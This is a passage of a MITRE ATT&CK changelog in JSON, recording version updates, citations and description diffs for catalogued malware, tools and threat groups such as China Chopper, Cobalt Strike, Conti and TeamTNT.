CARBANAK APT THE GREAT BANK ROBBERY. Retrieved March 27, 2017.", "url": "https://securelist.com/the-great-bank-robbery-the-carbanak-apt/68732/" }, { "source_name": "RSA Carbanak November 2017", "description": "RSA. (2017, November 21). THE CARBANAK/FIN7 SYNDICATE A HISTORICAL OVERVIEW OF AN EVOLVING THREAT. Retrieved July 29, 2020.", "url": "https://www.rsa.com/content/dam/en/white-paper/the-carbanak-fin7-syndicate.pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_aliases": [ "Carberp" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-08-25 20:08:29.545000+00:00\", \"old_value\": \"2020-08-10 21:37:48.548000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1" }, { "type": "malware", "id": "malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-05-31 21:32:18.315000+00:00", "modified": "2021-10-17 14:30:11.979000+00:00", "name": "China Chopper", "description": "[China Chopper](https://attack.mitre.org/software/S0020) is a [Web Shell](https://attack.mitre.org/techniques/T1505/003) hosted on Web servers to provide access back into an enterprise network that does not rely on an infected system calling back to a remote command and control server. (Citation: Lee 2013) It has been used by several threat groups. (Citation: Dell TG-3390) (Citation: FireEye Periscope March 2018)(Citation: CISA AA21-200A APT40 July 2021)", "revoked": false, "labels": [ "malware" ], "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0020", "external_id": "S0020" }, { "source_name": "China Chopper", "description": "(Citation: Dell TG-3390) (Citation: FireEye Periscope March 2018)" }, { "source_name": "Lee 2013", "description": "Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.", "url": "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html" }, { "source_name": "Dell TG-3390", "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" }, { "source_name": "FireEye Periscope March 2018", "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" }, { "source_name": "CISA AA21-200A APT40 July 2021", "description": "CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory \u2013 Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China\u2019s MSS Hainan State Security Department.. Retrieved August 12, 2021.", "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-200a" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_aliases": [ "China Chopper" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "2.3", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-17 14:30:11.979000+00:00\", \"old_value\": \"2021-04-23 19:53:58.719000+00:00\"}, \"root['description']\": {\"new_value\": \"[China Chopper](https://attack.mitre.org/software/S0020) is a [Web Shell](https://attack.mitre.org/techniques/T1505/003) hosted on Web servers to provide access back into an enterprise network that does not rely on an infected system calling back to a remote command and control server. (Citation: Lee 2013) It has been used by several threat groups. (Citation: Dell TG-3390) (Citation: FireEye Periscope March 2018)(Citation: CISA AA21-200A APT40 July 2021)\", \"old_value\": \"[China Chopper](https://attack.mitre.org/software/S0020) is a [Web Shell](https://attack.mitre.org/techniques/T1505/003) hosted on Web servers to provide access back into an enterprise network that does not rely on an infected system calling back to a remote command and control server. (Citation: Lee 2013) It has been used by several threat groups. (Citation: Dell TG-3390) (Citation: FireEye Periscope March 2018)\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.3\", \"old_value\": \"2.2\"}}, \"iterable_item_added\": {\"root['external_references'][5]\": {\"source_name\": \"CISA AA21-200A APT40 July 2021\", \"description\": \"CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory \\u2013 Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China\\u2019s MSS Hainan State Security Department.. Retrieved August 12, 2021.\", \"url\": \"https://us-cert.cisa.gov/ncas/alerts/aa21-200a\"}}}", "previous_version": "2.2", "version_change": "2.2 \u2192 2.3", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[China Chopper](https://attack.mitre.org/software/S0020) is t1[China Chopper](https://attack.mitre.org/software/S0020) is 
>a [Web Shell](https://attack.mitre.org/techniques/T1505/003)>a [Web Shell](https://attack.mitre.org/techniques/T1505/003)
> hosted on Web servers to provide access back into an enterp> hosted on Web servers to provide access back into an enterp
>rise network that does not rely on an infected system callin>rise network that does not rely on an infected system callin
>g back to a remote command and control server. (Citation: Le>g back to a remote command and control server. (Citation: Le
>e 2013) It has been used by several threat groups. (Citation>e 2013) It has been used by several threat groups. (Citation
>: Dell TG-3390) (Citation: FireEye Periscope March 2018)>: Dell TG-3390) (Citation: FireEye Periscope March 2018)(Cit
 >ation: CISA AA21-200A APT40 July 2021)
" }, { "type": "malware", "id": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-12-14 16:46:06.044000+00:00", "modified": "2021-10-18 20:08:21.958000+00:00", "name": "Cobalt Strike", "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) is a commercial, full-featured, remote access tool that bills itself as \u201cadversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors\u201d. Cobalt Strike\u2019s interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system.(Citation: cobaltstrike manual)\n\nIn addition to its own capabilities, [Cobalt Strike](https://attack.mitre.org/software/S0154) leverages the capabilities of other well-known tools such as Metasploit and [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: cobaltstrike manual)", "revoked": false, "labels": [ "malware" ], "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0154", "external_id": "S0154" }, { "source_name": "cobaltstrike manual", "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_aliases": [ "Cobalt Strike" ], "x_mitre_contributors": [ "Martin Sohn Christensen, Improsec", "Josh Abraham" ], "x_mitre_platforms": [ "Windows", "Linux", "macOS" ], "x_mitre_version": "1.7", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-18 20:08:21.958000+00:00\", \"old_value\": \"2021-04-24 23:29:30.707000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.7\", \"old_value\": \"1.6\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][1]\": \"Linux\", \"root['x_mitre_platforms'][2]\": \"macOS\"}}", "previous_version": "1.6", "version_change": "1.6 \u2192 1.7" }, { "type": "malware", "id": "malware--4dea7d8e-af94-4bfb-afe4-7ff54f59308b", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-02-17 18:51:57.710000+00:00", "modified": "2021-06-21 21:05:27.228000+00:00", "name": "Conti", "description": "[Conti](https://attack.mitre.org/software/S0575) is a Ransomware-as-a-Service that was first observed in December 2019, and has being distributed via [TrickBot](https://attack.mitre.org/software/S0266). It has been used against major corporations and government agencies, particularly those in North America. As with other ransomware families, actors using [Conti](https://attack.mitre.org/software/S0575) steal sensitive files and information from compromised networks, and threaten to publish this data unless the ransom is paid.(Citation: Cybereason Conti Jan 2021)(Citation: CarbonBlack Conti July 2020)(Citation: Cybleinc Conti January 2020)", "revoked": false, "labels": [ "malware" ], "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0575", "external_id": "S0575" }, { "source_name": "Conti", "description": "(Citation: CarbonBlack Conti July 2020)(Citation: Cybereason Conti Jan 2021)" }, { "source_name": "Cybereason Conti Jan 2021", "description": "Rochberger, L. (2021, January 12). Cybereason vs. Conti Ransomware. Retrieved February 17, 2021.", "url": "https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware" }, { "source_name": "CarbonBlack Conti July 2020", "description": "Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021.", "url": "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/" }, { "source_name": "Cybleinc Conti January 2020", "description": "Cybleinc. (2021, January 21). Conti Ransomware Resurfaces, Targeting Government & Large Organizations. Retrieved April 13, 2021.", "url": "https://cybleinc.com/2021/01/21/conti-ransomware-resurfaces-targeting-government-large-organizations/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_aliases": [ "Conti" ], "x_mitre_contributors": [ "Daniyal Naeem, BT Security" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-06-21 21:05:27.228000+00:00\", \"old_value\": \"2021-04-27 02:50:43.404000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1" }, { "type": "malware", "id": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-05-31 21:33:08.679000+00:00", "modified": "2021-10-15 18:54:53.268000+00:00", "name": "Crimson", "description": "[Crimson](https://attack.mitre.org/software/S0115) is a remote access Trojan that has been used by [Transparent Tribe](https://attack.mitre.org/groups/G0134) since at least 2016.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)", "revoked": false, "labels": [ "malware" ], "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0115", "external_id": "S0115" }, { "source_name": "MSIL/Crimson", "description": "(Citation: Proofpoint Operation Transparent Tribe March 2016)" }, { "source_name": "Proofpoint Operation Transparent Tribe March 2016", "description": "Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.", "url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf" }, { "source_name": "Kaspersky Transparent Tribe August 2020", "description": "Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved September 2, 2021.", "url": "https://securelist.com/transparent-tribe-part-1/98127/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_aliases": [ "Crimson", "MSIL/Crimson" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "1.2", "detailed_diff": "{\"dictionary_item_removed\": {\"root['external_references'][1]['url']\": \"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-15 18:54:53.268000+00:00\", \"old_value\": \"2020-03-30 15:25:59.334000+00:00\"}, \"root['description']\": {\"new_value\": \"[Crimson](https://attack.mitre.org/software/S0115) is a remote access Trojan that has been used by [Transparent Tribe](https://attack.mitre.org/groups/G0134) since at least 2016.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)\", \"old_value\": \"[Crimson](https://attack.mitre.org/software/S0115) is malware used as part of a campaign known as Operation Transparent Tribe that targeted Indian diplomatic and military victims. (Citation: Proofpoint Operation Transparent Tribe March 2016)\"}, \"root['external_references'][1]['source_name']\": {\"new_value\": \"MSIL/Crimson\", \"old_value\": \"Proofpoint Operation Transparent Tribe March 2016\"}, \"root['external_references'][1]['description']\": {\"new_value\": \"(Citation: Proofpoint Operation Transparent Tribe March 2016)\", \"old_value\": \"Huss, D.. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"Proofpoint Operation Transparent Tribe March 2016\", \"description\": \"Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.\", \"url\": \"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf\"}, \"root['external_references'][3]\": {\"source_name\": \"Kaspersky Transparent Tribe August 2020\", \"description\": \"Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved September 2, 2021.\", \"url\": \"https://securelist.com/transparent-tribe-part-1/98127/\"}}}", "previous_version": "1.1", "version_change": "1.1 \u2192 1.2", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[Crimson](https://attack.mitre.org/software/S0115) is malwart1[Crimson](https://attack.mitre.org/software/S0115) is a remo
>e used as part of a campaign known as Operation Transparent >te access Trojan that has been used by [Transparent Tribe](h
>Tribe that targeted Indian diplomatic and military victims. >ttps://attack.mitre.org/groups/G0134) since at least 2016.(C
>(Citation: Proofpoint Operation Transparent Tribe March 2016>itation: Proofpoint Operation Transparent Tribe March 2016)(
>)>Citation: Kaspersky Transparent Tribe August 2020)
" }, { "type": "malware", "id": "malware--3ae6097d-d700-46c6-8b21-42fc0bcb48fa", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-12-22 18:36:12.214000+00:00", "modified": "2021-08-18 23:44:04.697000+00:00", "name": "DropBook", "description": "[DropBook](https://attack.mitre.org/software/S0547) is a Python-based backdoor compiled with PyInstaller.(Citation: Cybereason Molerats Dec 2020)", "revoked": false, "labels": [ "malware" ], "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0547", "external_id": "S0547" }, { "source_name": "DropBook", "description": "(Citation: Cybereason Molerats Dec 2020)(Citation: BleepingComputer Molerats Dec 2020)" }, { "source_name": "Cybereason Molerats Dec 2020", "description": "Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020.", "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf" }, { "source_name": "BleepingComputer Molerats Dec 2020", "description": "Ilascu, I. (2020, December 14). Hacking group\u2019s new malware abuses Google and Facebook services. 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Old Description
New Description
t1[Kinsing](https://attack.mitre.org/software/S0599) is Golangt1[Kinsing](https://attack.mitre.org/software/S0599) is Golang
>-based malware that runs a cryptocurrency miner and attempts>-based malware that runs a cryptocurrency miner and attempts
> to spread itself to other hosts in the victim environment. > to spread itself to other hosts in the victim environment. 
>(Citation: Aqua Kinsing April 2020)(Citation: Sysdig Kinsing>(Citation: Aqua Kinsing April 2020)(Citation: Sysdig Kinsing
> November 2020)> November 2020)(Citation: Aqua Security Cloud Native Threat 
 >Report June 2021)
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(2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. 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Old Description
New Description
t1[NETWIRE](https://attack.mitre.org/software/S0198) is a publt1[NETWIRE](https://attack.mitre.org/software/S0198) is a publ
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>T) that has been used by criminal and APT groups since at le>T) that has been used by criminal and APT groups since at le
>ast 2012.(Citation: FireEye APT33 Sept 2017) (Citation: McAf>ast 2012.(Citation: FireEye APT33 Sept 2017)(Citation: McAfe
>ee Netwire Mar 2015) (Citation: FireEye APT33 Webinar Sept 2>e Netwire Mar 2015)(Citation: FireEye APT33 Webinar Sept 201
>017)>7)
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Retrieved September 6, 2019.\", \"url\": \"https://blog.malwarebytes.com/threat-analysis/2018/04/new-crossrider-variant-installs-configuration-profiles-on-macs/\"}, \"root['x_mitre_aliases'][1]\": \"Zshlayer\"}}", "previous_version": "1.1", "version_change": "1.1 \u2192 1.2", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[OSX/Shlayer](https://attack.mitre.org/software/S0402) is a t1[OSX/Shlayer](https://attack.mitre.org/software/S0402) is a 
>Trojan designed to install adware on macOS. It was first dis>Trojan designed to install adware on macOS that was first di
>covered in 2018.(Citation: Carbon Black Shlayer Feb 2019)(Ci>scovered in 2018.(Citation: Carbon Black Shlayer Feb 2019)(C
>tation: Intego Shlayer Feb 2018)>itation: Intego Shlayer Feb 2018)
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(2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/" }, { "source_name": "Trend Micro MacOS Backdoor November 2020", "description": "Magisa, L. (2020, November 27). New MacOS Backdoor Connected to OceanLotus Surfaces. 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(Citation: Dell TG-3390)", "revoked": false, "labels": [ "malware" ], "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0072", "external_id": "S0072" }, { "source_name": "Dell TG-3390", "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. 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(Citation: FireEye Poison Ivy) (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Darkmoon Aug 2005)", "revoked": false, "labels": [ "malware" ], "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0012", "external_id": "S0012" }, { "source_name": "PoisonIvy", "description": "(Citation: FireEye Poison Ivy) (Citation: Symantec Darkmoon Sept 2014)" }, { "source_name": "Poison Ivy", "description": "(Citation: FireEye Poison Ivy) (Citation: Symantec Darkmoon Sept 2014)" }, { "source_name": "Darkmoon", "description": "(Citation: Symantec Darkmoon Sept 2014)" }, { "source_name": "FireEye Poison Ivy", "description": "FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved November 12, 2014.", "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf" }, { "source_name": "Symantec Elderwood Sept 2012", "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" }, { "source_name": "Symantec Darkmoon Aug 2005", "description": "Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.", "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99" }, { "source_name": "Symantec Darkmoon Sept 2014", "description": "Payet, L. (2014, September 19). Life on Mars: How attackers took advantage of hope for alien existance in new Darkmoon campaign. Retrieved September 13, 2018.", "url": "https://www.symantec.com/connect/blogs/life-mars-how-attackers-took-advantage-hope-alien-existance-new-darkmoon-campaign" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_aliases": [ "PoisonIvy", "Poison Ivy", "Darkmoon" ], "x_mitre_contributors": [ "Darren Spruell" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "1.3", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-16 01:58:17.100000+00:00\", \"old_value\": \"2021-01-06 19:32:28.390000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}}", "previous_version": "1.2", "version_change": "1.2 \u2192 1.3" }, { "type": "tool", "id": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2018-04-18 17:59:24.739000+00:00", "modified": "2021-10-05 01:24:41.497000+00:00", "name": "PowerSploit", "description": "[PowerSploit](https://attack.mitre.org/software/S0194) is an open source, offensive security framework comprised of [PowerShell](https://attack.mitre.org/techniques/T1059/001) modules and scripts that perform a wide range of tasks related to penetration testing such as code execution, persistence, bypassing anti-virus, recon, and exfiltration. (Citation: GitHub PowerSploit May 2012) (Citation: PowerShellMagazine PowerSploit July 2014) (Citation: PowerSploit Documentation)", "revoked": false, "labels": [ "tool" ], "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0194", "external_id": "S0194" }, { "source_name": "GitHub PowerSploit May 2012", "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.", "url": "https://github.com/PowerShellMafia/PowerSploit" }, { "source_name": "PowerShellMagazine PowerSploit July 2014", "description": "Graeber, M. (2014, July 8). PowerSploit. Retrieved February 6, 2018.", "url": "http://www.powershellmagazine.com/2014/07/08/powersploit/" }, { "source_name": "PowerSploit Documentation", "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.", "url": "http://powersploit.readthedocs.io" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_aliases": [ "PowerSploit" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "1.4", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-05 01:24:41.497000+00:00\", \"old_value\": \"2021-02-09 14:00:16.093000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.4\", \"old_value\": \"1.3\"}}}", "previous_version": "1.3", "version_change": "1.3 \u2192 1.4" }, { "type": "tool", "id": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-05-31 21:32:21.771000+00:00", "modified": "2021-06-24 13:47:24.660000+00:00", "name": "PsExec", "description": "[PsExec](https://attack.mitre.org/software/S0029) is a free Microsoft tool that can be used to execute a program on another computer. It is used by IT administrators and attackers. (Citation: Russinovich Sysinternals) (Citation: SANS PsExec)", "revoked": false, "labels": [ "tool" ], "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0029", "external_id": "S0029" }, { "source_name": "Russinovich Sysinternals", "description": "Russinovich, M. (2014, May 2). Windows Sysinternals PsExec v2.11. Retrieved May 13, 2015.", "url": "https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx" }, { "source_name": "SANS PsExec", "description": "Pilkington, M.. (2012, December 17). Protecting Privileged Domain Accounts: PsExec Deep-Dive. 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[REvil](https://attack.mitre.org/software/S0496) is highly configurable and shares code similarities with the GandCrab RaaS.(Citation: Secureworks REvil September 2019)(Citation: Intel 471 REvil March 2020)(Citation: Group IB Ransomware May 2020)", "revoked": false, "labels": [ "malware" ], "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0496", "external_id": "S0496" }, { "source_name": "Sodin", "description": "(Citation: Intel 471 REvil March 2020)(Citation: Kaspersky Sodin July 2019)" }, { "source_name": "Sodinokibi", "description": "(Citation: Secureworks REvil September 2019)(Citation: Intel 471 REvil March 2020)(Citation: G Data Sodinokibi June 2019)(Citation: Kaspersky Sodin July 2019)(Citation: Cylance Sodinokibi July 2019)(Citation: Secureworks GandCrab and REvil September 2019)(Citation: Talos Sodinokibi April 2019)(Citation: McAfee Sodinokibi October 2019)(Citation: McAfee REvil October 2019)(Citation: Picus Sodinokibi January 2020)(Citation: Secureworks REvil September 2019)(Citation: Tetra Defense Sodinokibi March 2020)" }, { "source_name": "Secureworks REvil September 2019", "description": "Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020.", "url": "https://www.secureworks.com/research/revil-sodinokibi-ransomware" }, { "source_name": "Intel 471 REvil March 2020", "description": "Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service \u2013 An analysis of a ransomware affiliate operation. Retrieved August 4, 2020.", "url": "https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/" }, { "source_name": "Group IB Ransomware May 2020", "description": "Group IB. (2020, May). Ransomware Uncovered: Attackers\u2019 Latest Methods. Retrieved August 5, 2020.", "url": "https://www.group-ib.com/whitepapers/ransomware-uncovered.html" }, { "source_name": "Kaspersky Sodin July 2019", "description": "Mamedov, O, et al. (2019, July 3). Sodin ransomware exploits Windows vulnerability and processor architecture. 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Old Description
New Description
t1[ECCENTRICBANDWAGON](https://attack.mitre.org/software/S0593t1[ECCENTRICBANDWAGON](https://attack.mitre.org/software/S0593
>) is a Remote Access Tool (RAT) used by [Lazarus Group](http>) is a remote access Trojan (RAT) used by North Korean cyber
>s://attack.mitre.org/groups/G0032) that was first identified> actors that was first identified in August 2020. It is a re
> in August 2020. It is a reconnaissance tool--with keyloggin>connaissance tool--with keylogging and screen capture functi
>g and screen capture functionality--used for information gat>onality--used for information gathering on compromised syste
>hering on compromised systems.(Citation: CISA EB Aug 2020)>ms.(Citation: CISA EB Aug 2020)
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(2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. 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(2021, July 1). IndigoZebra APT Hacking Campaign Targets the Afghan Government. Retrieved September 24, 2021.", "url": "https://thehackernews.com/2021/07/indigozebra-apt-hacking-campaign.html" }, { "source_name": "Checkpoint IndigoZebra July 2021", "description": "CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021.", "url": "https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/" }, { "source_name": "Securelist APT Trends Q2 2017", "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 8). APT Trends report Q2 2017. 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[Nomadic Octopus](https://attack.mitre.org/groups/G0133) has been observed conducting campaigns involving Android and Windows malware, mainly using the Delphi programming language, and building custom variants.(Citation: Security Affairs DustSquad Oct 2018)(Citation: Securelist Octopus Oct 2018)(Citation: ESET Nomadic Octopus 2018)", "aliases": [ "Nomadic Octopus", "DustSquad" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0133", "external_id": "G0133" }, { "source_name": "Nomadic Octopus", "description": "(Citation: SecurityWeek Nomadic Octopus Oct 2018)(Citation: ESET Nomadic Octopus 2018)" }, { "source_name": "DustSquad", "description": "(Citation: Security Affairs DustSquad Oct 2018)(Citation: Securelist Octopus Oct 2018)(Citation: SecurityWeek Nomadic Octopus Oct 2018)" }, { "source_name": "Security Affairs DustSquad Oct 2018", "description": "Paganini, P. (2018, October 16). Russia-linked APT group DustSquad targets diplomatic entities in Central Asia. Retrieved August 24, 2021.", "url": "https://securityaffairs.co/wordpress/77165/apt/russia-linked-apt-dustsquad.html" }, { "source_name": "Securelist Octopus Oct 2018", "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018.", "url": "https://securelist.com/octopus-infested-seas-of-central-asia/88200/" }, { "source_name": "ESET Nomadic Octopus 2018", "description": "Cherepanov, A. (2018, October 4). Nomadic Octopus Cyber espionage in Central Asia. Retrieved October 13, 2021.", "url": "https://www.virusbulletin.com/uploads/pdf/conference_slides/2018/Cherepanov-VB2018-Octopus.pdf" }, { "source_name": "SecurityWeek Nomadic Octopus Oct 2018", "description": "Kovacs, E. (2018, October 18). Russia-Linked Hackers Target Diplomatic Entities in Central Asia. Retrieved October 13, 2021.", "url": "https://www.securityweek.com/russia-linked-hackers-target-diplomatic-entities-central-asia" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_version": "1.0" }, { "type": "intrusion-set", "id": "intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-10-01 01:57:31.229000+00:00", "modified": "2021-10-15 18:47:18.824000+00:00", "name": "TeamTNT", "description": "[TeamTNT](https://attack.mitre.org/groups/G0139) is a threat group that has primarily targeted cloud and containerized environments. The group as been active since at least October 2019 and has mainly focused its efforts on leveraging cloud and container resources to deploy cryptocurrency miners in victim environments. (Citation: Palo Alto Black-T October 2020)(Citation: Lacework TeamTNT May 2021)(Citation: Intezer TeamTNT September 2020)(Citation: Cado Security TeamTNT Worm August 2020)(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro TeamTNT)(Citation: ATT TeamTNT Chimaera September 2020)(Citation: Aqua TeamTNT August 2020)(Citation: Intezer TeamTNT Explosion September 2021)", "aliases": [ "TeamTNT" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0139", "external_id": "G0139" }, { "source_name": "Palo Alto Black-T October 2020", "description": "Quist, N. (2020, October 5). Black-T: New Cryptojacking Variant from TeamTNT. Retrieved September 22, 2021.", "url": "https://unit42.paloaltonetworks.com/black-t-cryptojacking-variant/" }, { "source_name": "Lacework TeamTNT May 2021", "description": "Stroud, J. (2021, May 25). Taking TeamTNT's Docker Images Offline. Retrieved September 22, 2021.", "url": "https://www.lacework.com/blog/taking-teamtnt-docker-images-offline/" }, { "source_name": "Intezer TeamTNT September 2020", "description": "Fishbein, N. (2020, September 8). Attackers Abusing Legitimate Cloud Monitoring Tools to Conduct Cyber Attacks. Retrieved September 22, 2021.", "url": 